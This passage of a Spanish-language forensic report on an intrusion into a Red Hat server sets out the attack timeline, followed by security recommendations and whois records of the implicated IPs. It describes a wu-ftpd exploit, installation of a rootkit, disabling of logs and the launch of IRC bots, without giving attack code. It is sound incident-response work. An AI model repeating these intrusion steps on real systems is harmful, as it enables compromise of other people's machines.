80.96.22.169	IP atacada mediante ping flood desde nuestro ordendador	RIPE	rnc.ro	SC Carmel SRL	hostmaster@rnc.ro	Rumanía
213.154.99.10	Conexión cracker para acceso IRC	RIPE	pcnet.ro	PCNET	abuse@pcnet.ro	Rumanía

Tabla III.6. Rastreo IPs obtenidas a partir de la partición de swap

Con la información obtenida a partir de la partición de swap se puede ya establecer con bastante precisión una secuencia temporal de lo acontecido en el sistema.

III.6.- Resumen secuencia temporal del ataque

Tras el estudio de los ficheros de log, del *rootkit* y de la partición de swap, se puede establecer la siguiente secuencia temporal para el ataque:

```
23/Agosto 00:22:47 - - > Se produce un ataque sobre el daemon wu-ftpd
desde la dirección IP: 200.47.186.114, perteneciente a un cliente de
COMSAT Perú S.A., en Perú. El atacante obtiene acceso al sistema con
privilegios de root

23/Agosto 00:24:19 - - > Se finaliza la descarga del fichero
/var/ftp/nerod.tar.gz. Seguidamente se descomprime el fichero, generando
el directorio /var/ftp/nerod

23/Agosto 00:25:02 - - > Se inicia la instalación del rootkit,
ejecutando el script /var/ftp/install

23/Agosto 00:25:04 - - > Se paran los servicios de log, como
consecuencia de la instalación del rootkit

23/Agosto 00:25:15 - - > Se inicia xinetd, como consecuencia de la
instalación del rootkit

23/Agosto 00:25:34 - - > Se escribe la última entrada en
/var/ftp/nerod/install.log
```

```
23/Agosto 00:25:44 - - > Se termina la instalación remota del software
wget (parte del rootkit, la última acción que se ha verificado por parte
del script de instalación)

23/Agosto 00:27:09 - - > El atacante añade el usuario nerod al sistema

23/Agosto 00:38:01 - - > Finaliza sesión FTP abierta a las 00:21

23/Agosto 00:56:20 - - > El atacante modifica la configuración del wu-
ftpd (modifica /etc/ftpusers)

23/Agosto 00:56:39 - - > El atacante elimina el usuario ftp del sistema
(se modifican los ficheros /etc/passwd, /etc/shadow, /etc/group,
/etc/gshadow)

23/Agosto 01:17:00 - - > Se inicia la ejecución del bot IRC (emech) por
parte del usuario George, desde la IP 80.96.68.72 (a veces se conecta
desde la 80.96.68.71, tal vez IPs dinámicas proporcionadas por su ISP).
Se suceden conexiones y desconexiones durante toda la noche)

23/Agosto 10:18:00 - - > Se inicia ahora la ejecución del otro bot IRC
(psybnc), ahora por parte del usuario adrian, y desde la IP:
213.1154.99.10, que corresponde a un ordenador de Rumania (esta vez,
conexión ADSL de otra compañía... tal vez un amigo, tal vez un ordenador
atacado). Las conexiones continúan hasta las 15:31

23/Agosto 15:31 - - > Última línea de log detectada en el sistema
```

III.7.- Consideraciones finales sobre el ataque

Después de los análisis efecutados, puede concluirse que el ataque ha sido llevado a cabo por un cracker de nacionalidad rumana, que utiliza el nick NeRod. Ha utilizado un exploit remoto para el daemon *wu-ftpd*, versión 2.6.1, que se encontraba configurado como servidor FTP anonymous, y que debía tener el puerto abierto a través del firewall. El intruso ha descargado e instalado un *rootkit*, denominado nerod, y que viene a ser una modificación del *Linux rootkit V*. El *rootkit*, a pesar de las diferentes utilidades para la ocultación de procesos, archivos, conexiones, etc no resulta difícil de detectar porque deja bastantes pistas, entre ellas, copias de seguridad de los archivos del sistema que modifica (por ejemplo, copia `/bin/ps` a `/bin/lps`). Por otra parte, el atacante no ha tenido excesivo cuidado en borrar las huellas, tal vez porque ha confiado excesivamente en el script de instalación del *rootkit*, o tal vez porque no tenía un nivel de conocimientos adecuado. En cualquier caso, un fallo en la instalación del *rootkit* ha llevado a que ésta no terminara, y como consecuencia se han conservado los ficheros de log y los ficheros de instalación del *rootkit*, proporcionando una información muy valiosa.

No obstante, todo parece indicar que el atacante ha utilizado un ordenador peruano previamente crackeado, con el objeto de mantener oculta su dirección IP. Para obtener más información ha sido necesario analizar la partición de swap para conocer, en lo posible, qué ocurrió en el ordenador una vez que se desactivaron los sistemas de log. A partir de esta información, se descubrió la instalación de bots IRC, a los que se accedió desde direcciones IP de Rumanía, posiblemente ya las propias del atacante. Los bots IRC operaban desde puertos que, en principio debían estar cerrados (por ejemplo, las

conexiones para el psybnc entraban por el puerto 6669, que en principio no debería estar abierto en el firewall). Queda por determinar por tanto, si esos puertos estaban abiertos, o si fueron abiertos por el cracker, tras utilizar el ordenador atacado como puente para llegar al firewall (recordemos que dispone de un sniffer para capturar passwords en la red interna, etc, etc).

PARTE IV.- Recomendaciones de seguridad

IV.1.- Recomendaciones generales

Particularizando al caso en estudio las recomendaciones generales de seguridad, es conveniente hacer hincapié en lo siguiente:

- Nunca deben mantenerse servicios que no se estén utilizando, aunque se esté detrás de un firewall. En el ordenador atacado, estaban activas las nfs (que no se utilizan) y el sendmail. Sino son imprescindibles, estos servicios deben desactivarse siempre.
- Aunque se esté detrás de un firewall, deben tenerse siempre configurados los TCP-WRAPPERS. En este caso, habría sido conveniente que se filtrara el servicio sshd a través de tcp-wrappers.
- Siempre deben mantenerse actualizados los servicios que se vayan a dar. En este caso, estaban las versiones originales de la instalación del sistema, que suelen tener vulnerabilidades. Esto debe tenerse especialmente en cuenta si se va a dar un servicio público como es el caso de un FTP anonymous para internet.
- En el caso de dar un servicio público, aparte de tenerlo actualizado e instalar los últimos parches, no debe activarse hasta que esté completamente configurado. En el caso del ordenador atacado, el servicio FTP anonymous no estaba configurado del todo (se tenía la configuración por defecto tras instalar el paquete en el sistema).
- Siempre que se esté conectado de manera directa a Internet, debe hacerse a través de un firewall correctamente configurado.
- La seguridad no debe centrarse únicamente en el ordenador que hace de firewall. Los ordenadores de la red interna que tengan puertos de entrada abiertos a través del mismo deben mantener ese mismo nivel de seguridad. En este caso particular, el ordenador atacado tenía una IP perteneciente a una intranet, y ha sido comprometido. Una vez que el intruso está dentro de la misma, tiene acceso fácil a todo lo que circula por la red, y posiblemente se encuentre menos problemas para entrar a los ordenadores "más seguros"
- Debe usarse siempre ssh para abrir sesiones remotas, aunque se esté dentro de una intranet. Los intrusos suelen instalar "sniffers" en cuanto logran comprometer un sistema, con lo que accederán rápidamente a los nombres de usuario y passwords que circulen sin encriptar por la intranet.

- Deben revisarse con frecuencia los ficheros de log para dilatar lo menos posible el intervalo de tiempo entre la observación de "cosas extrañas" y el proceso de tomar acciones para detectar posibles intrusos.
- Debe disponerse de herramientas que detecten la modificación de los archivos básicos del sistema. Nos facilitará la detección de la instalación de cualquier rootkit o troyano. Un método sencillo es mantener una pequeña base de datos de las sumas MD5 de esos archivos (por supuesto, mantenida en lugar seguro...).

IV.2 Actualizaciones recomendadas para el sistema atacado

En la siguiente tabla, se recogen las actualizaciones recomendadas por Redhat Inc. Para los servicios que tiene activados el ordenador atacado.

Paquete original	*Actualización*	*Localización*
nfs-utils-0.3.1-5.i386.rpm	nfs-utils-0.3.1-6.71.i386.rpm	ftp://updates.redhat.com/7.1/en/os/i386/nfs-utils-0.3.1-6.71.i386.rpm
openssh-server-2.5.2p2-5.i386.rpm	openssh-server-3.1p1-13.i386.rpm	ftp://updates.redhat.com/7.1/en/os/i386/openssh-server-3.1p1-13.i386.rpm
sendmail-8.11.2-14.i386.rpm	sendmail-8.11.6-27.71.i386.rpm	ftp://updates.redhat.com/7.1/en/os/i386/sendmail-8.11.6-27.71.i386.rpm
wu-ftpd-2.6.1-16.i386.rpm	wu-ftpd-2.6.2-11.71.1.i386.rpm	ftp://updates.redhat.com/7.1/en/os/i386/wu-ftpd-2.6.2-11.71.1.i386.rpm

Tabla IV.1. Actualizaciones recomendadas para los servicios

APÉNDICE: Rastreo mediante whois de las direcciones IP implicadas

IP: 218.146.115.18

```
# ENGLISH

KRNIC is not ISP but National Internet Registry similar with APNIC.
The IP address is allocated and still held by the following ISP, or
they did not update whois information after assigning to end-user.

Please see the following ISP contacts for relevant information
or network abuse complaints.

[ ISP Organization Information ]
Org Name      : Korea Telecom
Service Name  : KORNET
```

```
Org Address    : 206 Jungja-dong, Bundang-gu, Sungnam city, Gyunggi-do,
Korea, 463-711

[ ISP IP Admin Contact Information ]
Name           : Nam Kiwong
Phone          : +82-2-3674-5708
Fax            : +82-2-747-8701
E-Mail         : ip@ns.kornet.net

[ ISP IP Tech Contact Information ]
Name           : Kim JinWon
Phone          : +82-2-3674-5708
Fax            : +82-2-747-8701
E-mail         : ip@ns.kornet.net

[ ISP Network Abuse Contact Information ]
Name           : Abuse manager
Phone          : +82-2-745-0129
Fax            : +82-2-747-8701
E-mail         : abuse@kornet.net
```

IP: 213.84.155.31

```
BW whois 3.4 by Bill Weinman
© 1999-2003 William E. Weinman

Request: 213.84.155.31
connected to whois.arin.net [192.149.252.43:43] ...
connected to whois.ripe.net [193.0.0.135:43] ...
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum:      213.84.137.0 - 213.84.159.255
netname:      XS4ALL-ADSL
descr:        XS4ALL Internet BV
descr:        ADSL Static IP numbers
country:      NL
admin-c:      CB127
admin-c:      OD45
tech-c:       OD45
tech-c:       CB127
status:       ASSIGNED PA
remarks:      Please send email to "abuse@xs4all.nl" for complaints
remarks:      regarding portscans, DoS attacks and spam.
notify:       netmaster@xs4all.nl
mnt-by:       XS4ALL-MNT
changed:      oliver@xs4all.net 20031112
source:       RIPE

route:        213.84.0.0/16
descr:        XS4ALL networking
origin:       AS3265
notify:       as-guardian@xs4all.nl
mnt-by:       XS4ALL-MNT
changed:      erik@xs4all.net 20000329
source:       RIPE
```

```
person:       Cor Bosman
address:      XS4ALL Internet BV
address:      Postbus 1848
address:      1000BV Amsterdam
address:      The Netherlands
phone:        +31 20 3987654
fax-no:       +31 20 3987601
e-mail:       cor@xs4all.net
nic-hdl:      CB127
mnt-by:       XS4ALL-MNT
changed:      cor@xs4all.nl 19980503
source:       RIPE

person:       Oliver Daudey
address:      XS4ALL Internet B.V.
address:      Eekholt 42
address:      1112 XH  Amsterdam
phone:        +31 20 3987654
fax-no:       +31 20 3987601
e-mail:       oliver@xs4all.nl
nic-hdl:      OD45
notify:       oliver@xs4all.nl
changed:      oliver@xs4all.nl 19980422
changed:      remcovz@xs4all.net 20010312
source:       RIPE
```

IP: 210.83.207.251

```
Request: 210.83.207.251
connected to whois.arin.net [192.149.252.43:43] ...
connected to whois.apnic.net [202.12.29.13:43] ...
% [whois.apnic.net node-1]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

inetnum:      210.83.207.240 - 210.83.207.255
netname:      dalian-guanganmen-corp
country:      cn
descr:        dalian city
admin-c:      TC254-AP
tech-c:       TC254-AP
status:       ASSIGNED NON-PORTABLE
changed:      daihy@china-netcom.com 20020920
mnt-by:       MAINT-CN-ZM28
source:       APNIC

person:       TECH GROUP CNC
address:      9/F, Building A, Corporate Square, No. 35 Financial
Street,
address:      Xicheng District, Beijing 100032, P.R.China
country:      CN
phone:        +86-10-88093588
fax-no:       +86-10-88091442
e-mail:       tech-group@china-netcom.com
nic-hdl:      TC254-AP
mnt-by:       MAINT-CN-ZM28
changed:      zhaomq@china-netcom.com 20010917
source:       APNIC
```

IP: 195.116.20.232

```
Request: 195.116.20.232
connected to whois.arin.net [192.149.252.43:43] ...
connected to whois.ripe.net [193.0.0.135:43] ...
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum:      195.116.0.0 - 195.117.255.255
netname:      PL-TPSA-960123
descr:        PROVIDER
descr:        TP S.A. Centrum Systemow Teleinformatycznych
country:      PL
admin-c:      KP21-RIPE
tech-c:       BS1071-RIPE
tech-c:       TK569-RIPE
status:       ALLOCATED PA
notify:       konradpl@zt.piotrkow.tpsa.pl
mnt-by:       RIPE-NCC-HM-MNT
mnt-lower:    TPNET
mnt-lower:    AS5617-MNT
mnt-routes:   AS5617-MNT
changed:      hostmaster@ripe.net 19960613
changed:      hostmaster@ripe.net 19971218
changed:      hostmaster@ripe.net 20001110
changed:      lir-help@ripe.net 20020109
changed:      hostmaster@ripe.net 20021118
changed:      hostmaster@ripe.net 20021127
source:       RIPE

route:        195.116.0.0/16
descr:        TPNET
descr:        for abuse: abuse@tpnet.pl
origin:       AS5617
mnt-by:       AS5617-MNT
changed:      nabn@tpnet.pl 20030228
source:       RIPE

person:       Konrad Plich
address:      TP S.A. CST POLPAK
address:      ul. Sienkiewicza 9
address:      97-300 Piotrkow Tryb.
address:      Poland
remarks:      ---------------------------------------------
remarks:      In case of abuse (intrusion attempts, hacking,
remarks:      spamming or other unaccepted behavior) from
remarks:      TP S.A. address space, please contact only to:
remarks:      abuse@tpnet.pl
remarks:      ---------------------------------------------
phone:        + 48 44 6480030
fax-no:       + 48 44 6473572
e-mail:       konradpl@piotrkow.tpsa.pl
nic-hdl:      KP21-RIPE
mnt-by:       AS5617-MNT
changed:      konradpl@piotrkow.tpsa.pl 20031001
source:       RIPE
```

```
person:       Tomasz Kielb
address:      TP S.A. - POLPAK
address:      ul. Nowogrodzka 47A
address:      00-695 Warszawa
address:      POLAND
remarks:      ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - !
remarks:
remarks:      In case of abuse (intrusion attempts, hacking,
remarks:      spamming or other unaccepted behavior) from
remarks:      TP S.A. address space, please contact only to:
remarks:
remarks:      abuse@telekomunikacja.pl
remarks:
remarks:      ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - ! - !
phone:        +48 22 5230400
fax-no:       +48 22 6252383
e-mail:       Tomasz.Kielb@telekomunikacja.pl
nic-hdl:      TK569-RIPE
mnt-by:       TPNET
changed:      tkielb@cst.tpsa.pl 19970730
changed:      tkielb@cst.tpsa.pl 20011003
changed:      tomasz.kielb@telekomunikacja.pl 20021129
changed:      tomasz.kielb@telekomunikacja.pl 20030114
changed:      hostmaster@tpnet.pl 20030904
source:       RIPE

person:       Barbara Sarnacka
address:      TP S.A.
address:      ul. Nowogrodzka 47a
address:      00-695 Warszawa
address:      Poland
phone:        +48 22 6252063
e-mail:       sarna@cst.tpsa.pl
nic-hdl:      BS1071-RIPE
mnt-by:       TPNET
changed:      tkielb@cst.tpsa.pl 19980225
changed:      tkielb@cst.tpsa.pl 20020618
source:       RIPE
```

IP: 200.47.186.114

```
Request: 200.47.186.114
connected to whois.arin.net [192.149.252.43:43] ...
connected to whois.lacnic.net [200.160.2.15:43] ...

% Copyright LACNIC lacnic.net
%  The data below is provided for information purposes
%  and to assist persons in obtaining information about or
%  related to AS and IP numbers registrations
%  By submitting a whois query, you agree to use this data
%  only for lawful purposes.
%  2003-12-23 15:00:30 (BRST -02:00)

inetnum:     200.47.186/24
status:      reallocated
owner:       COMSAT Peru S.A. - LMGT
ownerid:     PE-CPSL1-LACNIC
responsible: Operaciones COMSAT
```

```
address:     Martir Olaya, 129, Miraflores
address:     18 - Lima - LI
country:     PE
phone:       +51 1 4463335 [4204]
owner-c:     FET
tech-c:      FET
inetrev:     200.47.186/24
nserver:     MIR01.COMSAT.COM.PE
nsstat:      20031220 AA
nslastaa:    20031220
nserver:     MIR02.COMSAT.COM.PE
nsstat:      20031220 AA
nslastaa:    20031220
created:     20010903
changed:     20010903
inetnum-up:  200.47.128/18

nic-hdl:     FET
person:      Fernando Torres
e-mail:      fernando.torres@COMSAT.COM.PE
address:     Martir Olaya, 129, Of 1901
address:     18 - Lima - Li
country:     PE
phone:       +51 1 4463335 [4101]
created:     20030927
changed:     20030927

% whois.lacnic.net accepts only direct match queries.
% Types of queries are: POCs, ownerid, CIDR blocks, IP
% and AS numbers.
```

IP: 80.96.68.71

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html
80.96.68.71
inetnum:      80.96.68.64 - 80.96.68.79
netname:      SC-ADO-NET-SRL
descr:        SC Ado Net SRL
descr:        str. Andrei Muresan, nr. 2
descr:        Campia Turzii, Cluj
country:      ro
admin-c:      PS17756-RIPE
tech-c:       PS17756-RIPE
status:       ASSIGNED PA
mnt-by:       AS3233-MNT
mnt-lower:    AS3233-MNT
mnt-routes:   AS3233-MNT
notify:       hostmaster@rnc.ro
changed:      hostmaster@rnc.ro 20011119
changed:      hostmaster@rnc.ro 20020104
source:       RIPE

route:        80.96.64.0/19
descr:        RDSNET
origin:       AS8708
mnt-by:       AS8708-MNT
```

```
changed:      tim@rdsnet.ro 20031104
source:       RIPE

person:       Paul Sipos
address:      Str Motilor 6-8 Cluj-Napoca Jud
address:      Cluj
phone:        +40-264-438646
fax-no:       +40-264-438646
e-mail:       paul.sipos@rdsnet.ro
nic-hdl:      PS17756-RIPE
notify:       hostmaster@rnc.ro
mnt-by:       AS3233-MNT
changed:      hostmaster@rnc.ro 20010909
changed:      hostmaster@rnc.ro 20021001
source:       RIPE
```

IP: 213.154.99.10

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html
inetnum:      213.154.96.0 - 213.154.127.255
netname:      PCNET
descr:        PCNET Data Network S.A.
descr:        PROVIDER ADSL Network
country:      RO
admin-c:      BT17-RIPE
tech-c:       PDNN1-RIPE
status:       ASSIGNED PA
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20030704
source:       RIPE
route:        213.154.96.0/19
descr:        PCNET ATM/ADSL Network
origin:       AS8503
notify:       tudor@pcnet.ro
mnt-by:       AS8503-MNT
changed:      tudor@pcnet.ro 20020506
source:       RIPE
role:         PCNET Data Network NOC
address:      Splaiul Unirii, nr. 10
address:      Bucharest, ROMANIA
phone:        +40 1 330 86 61
phone:        +40 1 330 35 23
fax-no:       +40 1 675 49 99
e-mail:       tudor@pcnet.ro
trouble:      +40 9 325 18 84
admin-c:      BT17-RIPE
tech-c:       BT17-RIPE
tech-c:       AP158-RIPE
tech-c:       CM3059-RIPE
tech-c:       CN19-RIPE
tech-c:       IG20-RIPE
tech-c:       CR60-RIPE
nic-hdl:      PDNN1-RIPE
```

```
remarks:        ----------
remarks:        abuse: abuse@pcnet.ro
remarks:        ----------
remarks:        for escaladation please directly call the
remarks:        technical manager
notify:         tudor@pcnet.ro
mnt-by:         AS8503-MNT
changed:        tudor@pcnet.ro 20011008
source:         RIPE
person:         Bogdan Tudor
remarks:        Technical Manager
remarks:        PCNET Data Network S.A.
address:        Bucharest, Romania
phone:          +40 9 325 18 84
phone:          +40 1 330 86 61
phone:          +40 1 330 35 23
fax-no:         +40 1 675 49 99
nic-hdl:        BT17-RIPE
mnt-by:         BT17-RIPE-MNT
notify:         tudor@pcnet.ro
e-mail:         tudor@pcnet.ro
changed:        tudor@pcnet.ro 20011009
source:         RIPE
```

IP: 80.96.22.169

```
BW whois 3.4 by Bill Weinman
© 1999-2003 William E. Weinman

Request: 80.96.22.169
connected to whois.arin.net [192.149.252.43:43] ...
connected to whois.ripe.net [193.0.0.135:43] ...
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html

inetnum:        80.96.22.128 - 80.96.22.191
netname:        SC-CARMEL-SRL
descr:          SC Carmel SRL
descr:          Str. Pasteur nr.56
descr:          3400 Cluj-Napoca
country:        ro
admin-c:        SH587-RIPE
tech-c:         SH587-RIPE
status:         ASSIGNED PA
mnt-by:         AS3233-MNT
mnt-lower:      AS3233-MNT
mnt-routes:     AS3233-MNT
notify:         hostmaster@rnc.ro
changed:        hostmaster@rnc.ro 20020227
source:         RIPE

route:          80.96.22.0/24
descr:          AstralTelecom Cluj
origin:         AS6746
mnt-by:         ASTRALTELECOM-MNT
```

```
changed:      alinux@astral.ro 20030113
source:       RIPE

person:       Sami Hrebat
address:      Str. Pasteur nr.56
address:      3400 Cluj-Napoca
address:      Romania
phone:        +40-264-124456
e-mail:       hribat@personal.ro
nic-hdl:      SH587-RIPE
notify:       hostmaster@rnc.ro
mnt-by:       AS3233-MNT
changed:      hostmaster@rnc.ro 20020227
changed:      hostmaster@rnc.ro 20021001
source:       RIPE
```